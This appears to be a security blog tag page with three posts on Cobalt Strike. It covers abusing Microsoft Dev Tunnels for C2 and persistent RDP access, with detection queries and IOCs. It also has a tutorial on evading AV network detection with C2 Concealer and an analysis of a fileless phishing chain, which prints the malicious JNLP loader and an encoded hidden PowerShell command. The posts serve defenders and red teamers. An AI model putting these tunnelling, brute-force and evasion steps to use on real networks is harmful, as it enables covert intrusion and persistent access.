Tag: C2

Microsoft Dev Tunnels: Tunnelling C2 and More

Attackers are always looking for ways to blend into an environment, to establish a C2 channel undetected. Utilising legitimate tooling for their malicious activities is a common way that they achieve this.

From a defender’s standpoint, spotting activity that’s meant to blend in can be quite challenging. A SOC team, especially one experiencing alert fatigue, might often resort to checking a domain or hash on VirusTotal. If it’s a known domain or hash, particularly one signed or trusted by Microsoft, they might quickly label it as a false positive and move on.

Microsoft Dev Tunnels

Dev Tunnels allow developers to expose services running locally to remote hosts, across the internet and tunneled through Microsoft infrastructure. For example, let’s say I have a simple webserver running on my PC, I want a colleague to be able to test the web page I’ve created. I can use a Dev Tunnel to expose port 443 on my host. A Microsoft Dev Tunnel domain is generated *.devtunnels.ms, I provide the URL to my colleague, and they can access the web service on my local host, via the Microsoft URL.

I can expose any service via the Dev Tunnels, including RDP and SSH. With the ability to tunnel traffic using Microsoft domains, you can imagine why this would be an attractive concept to attackers.

There have been increased reports of threat actors utilising Microsoft Dev Tunnels and other legitimate remote tools in their campaigns. So, let’s walk through the different ways Dev Tunnels can be abused by attackers.

Scenario One: Using for C2

Firstly, using Dev Tunnels for C2. Take the diagram below as an example. A victim PC has executed a payload, and the C2 beacon is configured to connect to a Microsoft Dev Tunnels domain.

In most environments, the domain will pass through any proxy or firewall, due to the domain belonging to Microsoft. The traffic is then forwarded by Microsoft to the attacker’s machine.

Dev Tunnel Diagram

Creating a tunnel

Meanwhile, if we look at the attacker’s perspective, all they need to do is install the dev tunnel binary, which is available on Mac, Linux, and Windows.

Some key details on establishing a tunnel below:

  • Authentication: To create a tunnel, you need to authenticate to either a personal GitHub or Microsoft Account. Obviously setting up an account with either is trivial.
  • Anonymous Access: You can configure a tunnel to allow anonymous access, allowing anyone to connect to your tunnel.
  • Tunnel ID: Following the creation of a tunnel, a tunnel ID is generated, this is used to connect two endpoints together through a tunnel.

The highlighted URL below is what we will use for our C2 beacon.

Dev Tunnel C2 URL

Establishing C2

The process for utilising a Dev Tunnel domain for C2 traffic will be similar across different C2 frameworks. Below is an example of creating a listener in Cobalt Strike.

  1. Select Beacon Type, usually HTTPS.
  2. Define the HTTPS host to listen on, in this case, it would be our tunnel domain, 8kl69l904-443.uks1.devtunnels.ms
  3. Define the HTTPS host (stager), the IP of your team server.
  4. Select HTTPS Port, 443.
Dev Tunnel Cobalt Strike

Example Event

In the event shown below, we can see connections to our tunnel domain, from our beacon process. The beacon process is a fake OneDrive binary, which has a forged Microsoft certificate.

@timestampdns.question.nameprocess.code_signature.subject_nameprocess.nameuser.nameprocess.code_signature.trusted
Sep 1, 2024 @ 11:44:50.1698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Sep 1, 2024 @ 11:44:50.1488kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6698kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
Aug 31, 2024 @ 23:00:18.6498kl6l904-443.uks1.devtunnels.mswww.microsoft.comOneDrive.exepaulfalse
We’ve giving our payload a fake certificate, it’s signed, but not trusted.
Cobalt Strike Signed Binary
Elastic EDR Dev Tunnel Tree

Detecting Dev Tunnel C2

Detecting the usage of Dev Tunnels for C2 is challenging, as the Dev Tunnels binary does not need to be present on the target host. In cases where EDR or endpoint controls fail to detect the initial payload, detecting on network-based telemetry would be challenging. As expected, the TLS connections have a valid certificate as they are after all legitimate Microsoft domains.

Dev Tunnel Domain Signed

We can look to identifying C2 traffic by looking for constant connections to the Dev Tunnel domains over sustained periods. C2 traffic

Dev Tunnel C2 Detect

Below is the query used in TimeLion to generate the above:

.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='count'
).bars(),
.es(
  index='.ds-logs-network_traffic*',
  q='destination.domain: *.uks1.devtunnels.ms',
  timefield='@timestamp',
  metric='cardinality:destination.domain'
).lines(width=2, stack=false).label("Unique Domains")

We can also use a more generic C2 detections methods, looking for high volume connections to single domains. The below shows count of connections to single domains over a 24 hour period. We can see clear outliers to our Dev Tunnel C2 domains, where constant connections are made.

Dev Tunnel C2 Detect

Network with Endpoint Telemetry

Many EDR products now are able to join domain requests with the process responsible for making the request. You can also usually enrich the binary with certificate information, looking for connections to dev tunnel domains from a non-signed or untrusted certificate can also be a method of detection.

dns.question.name : *.uks1.devtunnels.ms and process.code_signature.trusted<br>: false  

This however will not help for payloads running from a trusted source. For example sideloading or injecting a payload into a trusted process like Outlook will be more difficult to detect.

As shown below, loading a secondary payload into Outlook, shows C2 to a trusted Microsoft Domain from a trusted Microsoft Process.

Dev Tunnels C2 from trusted Process

In these cases, anomaly C2 on the Dev Tunnel domains would be required. With analysts paying focus to the surrounding and contextual activity, like looking for unusual loads or injections into the process making the requests.


Using for Persistent Access

Dev Tunnels can be used for more than just C2. As we said before, any port can be exposed for remote usage. Therefore, RDP and SSH are good candidates, allowing a threat actor to establish persistent remote access.

Ideally, we would want a scripted method of establishing and maintaining remote access via Dev Tunnels.

I created a simple PowerShell Script that does the following on a victim host.

  • Downloads a copy of Dev Tunnels and places it in a Windows Start-Up Location.
    • Download from: https://aka.ms/TunnelsCliDownload/win-x64
    • Place in: C:\Users\paul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
  • Authenticates the Dev Tunnel process to an account.
    • More on this further down.
  • Sets up a tunnel, exposing port 3389 to allow for anonymous access.

Github Device Authentication

When first using Dev Tunnels on a device, you must authenticate. To do this in a scripted manner, we can use GitHub Device authentication:

devtunnel user login -g -d
Login with a GitHub account with device code login, if local interactive browser login isn’t possible

When this command is run, a device login code is written to the terminal. Using our PowerShell script, we can capture this code by writing it to a .txt file. We can then pull the string from the file, and send it to ourselves.

Dev Tunnel Script

We can use interactsh to receive the login code, but sending a POST request to our OAST domain from the PowerShell Script.

Dev Tunnel Git Login Code

We can then use the device code to authenticate to a our attacker GitHub account, via https://github.com/login/device

Dev Tunnel Git Auth

Establishing Tunnel

Now that we’ve authenticated, our PowerShell script can continue, by setting up a tunnel.

This is as easy as running a command like the one below. Port 3389 is being exposed and allows for anonymous login.

.\devtunnel.exe host -p 3389 -allow-anonymous

Dev Tunnel Setup via Script

Now that the tunnel is setup, we can authenticate to the same GitHub account from our attacker machine.

We can list out tunnels that are running within our account, and connect to the tunnel exposing RDP on our victim device by specifying the tunnel ID.

Dev Tunnel RDP

In order to connect via RDP we need to authenticate to a user on the device. If we do not already have a compromised user, we can brute force RDP via the tunnel.

Traffic is forwarded from local host, through the tunnel, to our victim host on port 3389. Therefor, to brute force, we specify local host as our target, and we’re able to brute force RDP on our victim host.

Dev Tunnel RDP Brute Force

Once we have an account to utilise, we can use a RDP client to connect. Again specifying the local host address as the the remote host, and authenticating with our compromised user.

Dev Tunnel RDP Connect
Dev Tunnel RDP Connect

This means you could in theory expose a host remotely, via a single PowerShell script, making it a candidate in phishing. This can be a method of bypassing RDP restrictions on a network, exposing internal hosts, remotely.

Detections

I’m using Elastic SIEM and Endpoint agent to collect telemetry and build custom detections.

Dev Tunnel Binary Execution Detection

In circumstances where an attacker has brought the Dev Tunnel binary onto disk, you could catch them with a simple:

Process.Name:devtunnel.exe OR File.Name:devtunnel.exe

But any decent operator is going to rename the process to something else.

You could look for the initial download, via PowerShell or WinGet

CommandLine= "*winget install Microsoft.devtunnel*"
OR 
URL= "*https://aka.ms/TunnelsCliDownload/win-x64*"

But again, these are easy to bypass, and an attacker will likely bring the tool down from their own infrastructure.

A more robust way of detection is took look for a certain DLL that the tunnel requires for operation. Looking at module load events and there’s a variety of DLLs loaded by the devtunnel.exe, but one sticks out as an easy detection, devtunnel.dll.

event.action: "load" and dll.name: "devtunnel.dll"

The DLL is loaded from a temp .net directory that is created on execution. This is a behaviour that an attacker would not be able to manipulate.

Tunnelling RDP Detection

You’ll notice the source IP in the logs for this activity is displayed as ::1, this is the loopback address for the host, or 127.0.0.1. As we are forwarding traffic from local host on our attacker machine from our victim machine, this is the address that is displayed.

Dev Tunnel RDP

Interestingly the logon type is captured as type 3, rather than type 10. The below query will show both successful and failed logons originating from a loopback address. Putting this into a detect would likely generate a lot of noise and FPs.

event.provider: "Microsoft-Windows-Security-Auditing" and event.code: 4625 or event.code : 4624 and (source.ip : "::1" or source.ip : 127.0.0.1)

Instead we can use a threshold detection to attempt to detect suspected brute forcing, from a loopback address.

Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect
Dev Tunnel RDP Brute Force Detect

Incident Response Triage & Logging

Unfortunately there is very little in the way of logging for Dev Tunnels. Unlike Microsoft VSCode Remote tunnels, which is a different implementation of the same underlying tunnel features, (more on how they can be abused another time), there is no dedicated logging for tunnel usage.

If you’re responding to an incident that involves the use of Dev Tunnels, and you do not have host or network telemetry, then your best option is to dump the Dev Tunnel process. We can get all the key information from the process dump.

Dev Tunnel URL from Memory
Dev Tunnel ID from Memory

Including the username the tunnel authenticated with.

Dev Tunnel username from Memory

Closing Thoughts

As shown, Dev Tunnels provide powerful capabilities that can be (and are) abused by Threat Actors, to make detection by Blue Teams more difficult. The best option is to outright block tunnel usage in the estate, this can be achieved by blocking the Dev Tunnel Domains listed below.

IOCs

File Hashes

FileNameSHA256
Devtunnel.execb2d8470a77930221f23415a57bc5d6901b89de6c091a3cfbc563e4bf0e7b4eb
devtunnel.dllc0513783d569051bdc230587729b1da881f7032c2ad6e8fedbbdcc61d813da25

Domains

DescriptionDomain
Dev Tunnel Domainglobal.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*-data.rel.tunnels.api.visualstudio.com
Dev Tunnel Domain*.devtunnels.ms
GitHub Device Auth URL https://github.com/login/device
Tunnel Install URL https://aka.ms/TunnelsCliDownload/win-x64

Cobalt Strike – Bypassing C2 Network Detections

Intro

In this mini-post, we’re going to look at how to easily bypass network detections for Cobalt Strike beacons. Many AV products like Symantec Endpoint Protection (SEP) have network detection capabilities that monitor traffic passing through a device’s network interface. Additionally IDS and IPS also have basic detections for C2 traffic. These detections are basically looking for specific patterns in network packets.

For popular tools like Cobalt Strike the basic “out-of-the-box” settings for Beacons are fingerprinted by vendors, and therefore going to be detected.

In Cobalt Strike, Malleable profiles are used to define settings for the C2. You have a choice of different protocols for your C2 with HTTP, HTTPS and DNS being three popular ones. HTTP Beacons are easily detectable, due to the payload being unencrypted. For HTTPS connections, detections occur on the certificate used for encryption.

Like with any exploitation tool, if you use the default values it’s likely you’ll be detected. There are Malleable profiles available on GitHub which can be used and these will change your C2 settings from the default. However, these have also been fingerprinted, and will also generate a detection. The profiles available on GitHub are more aimed at testing your detection capability of different APTs and CrimeWare C2s seen in the wild in the past.

The Solution

Luckily Cobalt Strike Malleable C2 profiles are highly customisable. In fact, customisation is one of the reasons why Cobalt Strike is so popular and also so effective. You could write your own profile and there are some guides online that show you how to do this.

However, there is an easier way, C2 Concealer. The tool, created by FortyNorth Security, was released last year and features a Python Script which will generate a C2 Profile based on a few variables defined by the user.

Demo

Installation is easy, just clone the GitHub repo, and run the install script.

Once the install is complete, run the script and define a hostname you wish to use.

C2concealer --hostname newtpaul.com  --variant 1                                                                                                                                                         

Next, C2Concealer will scan your host to locate where c2lint is located. C2lint is a tool included with CobaltStrike which is used to test/troubleshoot profiles before they’re used.

C2 Concealer

Once the scanning is finished, you’ll be asked to choose an SSL option. Using a legit LetsEncrypt cert is obviously going to be the most effective at avoiding detection. However, that requires you to point the A record at your team sever. For the purposes of this, we’ll just use a self-signed cert.

C2 Concealer

You’ll be asked to fill out some basic information for the cert. It doesn’t matter too much what you put here.

Once it’s complete you should receive confirmation that the profile has passed the c2lint check. The name of the newly created profile will also be displayed.

C2 Concealer

Next, launch your team server, but this time defining the profile to load.

 sudo ./teamserver 192.168.1.21 *Password* ~/C2concealer/C2concealer/34c5a462.profile

Generate a new listener and a new payload of your choice.

Before VS After

Before using our newly created profile, SEP blocked outbound connections to our Cobalt Strike team server. This was when using just the default C2 profile.

symantec detection

However, after using our newly created profile, nothing was blocked and we were able to successfully establish a C2.

cobalt strike

Conclusion

And that brings this quick post to an end. I hope you found it useful! You can read a previous post I wrote on Cobalt Strike here.

Analysing Fileless Malware: Cobalt Strike Beacon

Today we’re going to look at a malware campaign made up of multiple stages, with the end goal of establishing a C2 connection to a Cobalt Strike server. There are a few cool techniques that this campaign uses that we’re going to look at. I happened to come across the initial first stage phishing attachment while browsing for samples on VirusTotal and found it interesting as you do not commonly see JNLP attachments used for phishing. So, let’s get started.

Stage 1: Attachment Analysis

A JNLP file is a java web file, which when clicked, the application javaws.exe will attempt to load and execute the file. Javaws.exe is an application that is part of the Java Runtime Environment and is used to give internet functionality to java applications. JNLP files can be used to allow for applications hosted on a remote server to be launched locally. It is worth noting that to be susceptible to phishing via a JNLP the user will have to have java installed on their machine.

They are generally quite simple and are not difficult to analyse. You can easily view the content of a JNLP file by changing the extension to XML and loading the file in a text editor like notepad++. As shown in the XML code below, we can see that this JNLP file will be used to load and execute the JAR file FedEx_Delivery_invoice.jar from the domain hxxp://fedex-tracking.fun

<?xml version="1.0"encoding="utf-8"?>
<jnlpspec="1.0+"codebase="http://fedex-tracking.fun"
href="FedEx_Delivery_invoice.jnlp">
<information>
	<title>Federal Express Service</title>
	<vendor>Federal Express</vendor>
	<homepagehref="www.fedex.com"/>
	<description>Federal Express documents online.</description>
		</information>
	<security>
		<all-permissions/>
	</security>
	<resources>
		<j2seversion="1.6+"/>
		<jarhref="FedEx_Delivery_invoice.jar"/>
	</resources>
		<application-descmain-class="FedEx_Service">
	</application-desc>
</jnlp>

As we know the name and location of the 2nd stage payload, we can try and download it. The domain hxxp://fedex-tracking.fun is still up, so we can download the FedEx_Delivery_invoice.jar file from here. Once we have the file, we will analyse it with JD-GUI. JD-GUI is a simple tool that allows you to decompile and view the code of JAR files. (I copied the code into Atom after opening with JD-GUI as I like the syntax highlighting there.)

Java phishing attachment
FedEx_Delivery_invoice.jar

As the code snippet above shows, the FedEx_Delivery_invoice.jarfile is going to attempt to download the file fedex912.exe from the domainhxxp://fedex-tracking[.]press. The executable will be placed into the Windows temp directory, where it will then be executed. The JAR file will also load the legitimate FedEx tracking website which is most likely to try and reassure the user that the file they have downloaded is a legitimate one.

Executable Analysis: Stage 2

Unfortunately, at the time of writing, the domain hosting the fedex912.exe is no longer active meaning we cannot download the file from here. However, there is a sample on Virus Total that we can download. I ran the executable in my analysis environment with process monitor and regshot and there were a few things of note. Firstly, the file fedex912.exe drops a new file called gennt.exe, which is basically just a copy of itself, into the directory C:\ProgramData\9ea94915b24a4616f72c\. The reason for placing the file here is that it is a hidden directory and not normally visible to the user. It then deletes the fedex912.exe file from the filesystem.

Process monitor

I used RegShot to take a before and after snapshot of the registry to compare the two after running the executable. The entry below shows the malware’s persistence mechanism. Adding the gennt.exe executable to the registry key here ensures that the malware is started every time Windows is restarted.

HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell:"explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe""

After doing some additional research on the executable, I found that it is supposed to launch cmd which then launches PowerShell. However, that did not occur on my test machine when running the executable. There could be a few reasons for this, one could be that the malware has anti-analysis capabilities and knows when it is being run in a standard VM. As my lab is not currently set up to counter VM aware malware, we are going to cheat slightly and use data from a sample that was run on AnyRun.

On the AnyRun analysis, we can see that cmd did launch "C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand” where a Base64 command was parsed to PowerShell. AnyRun records the command line, so let’s have a look into this. You can see the AnyRun anlysis here.

PowerShell Analysis: Stage 3

As is usually the case, the command line was encoded with Base64 so I used CyberChef to decode the text. Often when you decode Base64 text there will be a “.” between every single character. This is annoying but can easily be fixed by also adding a decode text operator to the recipe and setting the value to UTF-16LE(1200).

cyberchef recipe
Powershell script

We can see that the command is further encoded with Base64, and if we scroll further down to the bottom, we can also see that it has been compressed with GunZip. 

I used CyberChef to once again decode the Base64 and to decompress the GunZip Compression.

cyber chef recipe

After running the above CyberChef recipe there was finally some human-readable text. There’s a lot of interesting stuff happening here. So we essentially have three parts to the PowerShell script, there’s the first chunk with a couple of functions. The middle section with a Base64 Encoded block and a “for” statement. And then there’s the final section with some defined variables and an “if” statement. We’ll tackle the Base64 Encoded block first and look at the rest of the PowerShell script a little later.

NOTE: I had to split the code screenshots into two, as there is too much code to fit into one image. I’d much rather just post the raw code, rather than screenshots, but that would result in my site being flagged for hosting malware 😂. You can download the code samples at the bottom of this post.

Powershell memory injection cobalt strike beacon
Powershell Script part 1
Powershell memory injection cobalt strike beacon
Powershell Script part 2

One thing that immediately stands out is a “for” statement underneath the Base64 encoded text in the “Powershell Script part 2” image.

xor for statement

The “for” statement suggests that the Base64 block is encrypted with xor with a key of 35. We can also use CyberChef to decrypt this.    

Cyber Chef recipe
Cobalt Strike Shellcode
Decoded ShellCode

As shown in the above output, a lot of it is not human-readable but we can see what looks like an IP address and information about a User-Agent. The rest of the code that we cannot understand looks to be shellcode. Let us try and do some basic shellcode analysis to see what is going on here.

I used CyberChef to convert the code above into Hex. This is straight forward to do, and only requires an additional two operators to our current CyberChef recipe. One operator converts our code into Hex, and the other is a find and replace to remove the spacing.

Cyberchef recipe
Cobalt Strike Shellcode
ShellCode

Once we have our Hex code, you can save the output as a .dat file. Next, I used the tool scdbg to analyse the shellcode. This tool emulates basic Windows behaviour and can intercept what Windows API calls the shellcode is requesting by emulating the Windows API environment.

After parsing the .dat file to the tool, the output below is given. The shellcode loads the wininet API library and imports two functions which are used to establish an internet connection. We can see that the connection is established to the IP address we saw earlier over port 8080.

scdbg output from cobalt strike shell code.

As the shellcode does not import any other functions, it would appear that this is a simple beacon program that establishes a remote connection to the malicious IP. Additional commands are likely to be sent from the C2 server. The C2 IP address is a Ukrainian address, with ports 80, 8080 and 22 open.

Injecting into memory with PowerShell

So we’ve looked at our Base64 encoded block and determined that it’s some simple shellcode which is used to establish a connection to the C2 server. The one question we still have to answer is how is the shellcode executed? From looking at the rest of the PowerShell script, we can see that the shellcode is injected directly into memory. Below gives a basic summary of how it does this.

  1. First the script imports two functions GetModuleHandle and GetProcAddress from system.dll, and it does this by importing them directly from memory, so it does not load the DLL from disk. These are both Windows UnsafeNativeMethods. This method of loading DLLs in this way is called Run-Time Dynamic Linking, and you can read more on it here.
  2. These functions are then used to allocate space in memory for the function “var_va” which is the function which contains our shellcode.
  3. Then the script decodes and decrypts the shellcode, in the same way that we did earlier with CyberChef
  4. Next, the VirtualAlloc writes the shellcode function to space in memory for the calling process. In this case, that would be PowerShell. So, the shellcode is essentially injected into the memory space used by PowerShell.
  5. And finally, the shellcode is then executed, where it establishes a C2 channel with the Cobalt Strike server.

What is Coablt Strike?

AnyRun attributed the PowerShell activity to Cobalt Strike and the PowerShell script and the shellcode that we analysed matches the profile and behaviour of a Cobalt Strike Beacon. Cobalt Strike is a tool used for adversary simulations and red team operations. A key feature of the tool is being able to generate malware payloads and C2 channels. The Cobalt Strike Beacon that we saw is fileless, meaning that the PowerShell script injects the Beacon straight into memory and never touches disk. Once a Cobalt Strike Beacon is present on a device, the attacker has significant capability to perform additional actions including stealing tokens and credentials for lateral movement.

Conclusion

So that brings this post to an end. I hope you found the information here useful. It’s a simple example of fileless malware and I think a good introduction for those who are maybe not very familiar with the area. It’s certainly a topic that I’m interested and something I want to research further, so expect more posts on this in the future!

IOCs

First stage:

  • FedEx_Delivery_invoice.jnlp
    • SHA256: 7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e
  • hxxp://fedex-tracking[.]fun


Second stage:

  • FedEx_Delivery_invoice.jar
    • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • hxxp://fedex-tracking[.]press

Third stage:

  • fedex912.exe / gennt.exe
    • SHA256: ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6
  • Run Location:
    • %PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe
  • Persistence Registry Key:
    • HKU\S-1-5-21-1245055219-2462972176-14158293471001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: “explorer.exe, “C:\ProgramData\9ea94915b24a4616f72c\gennt.exe

C2 Stage:

  • 176[.]103[.]56[.]89

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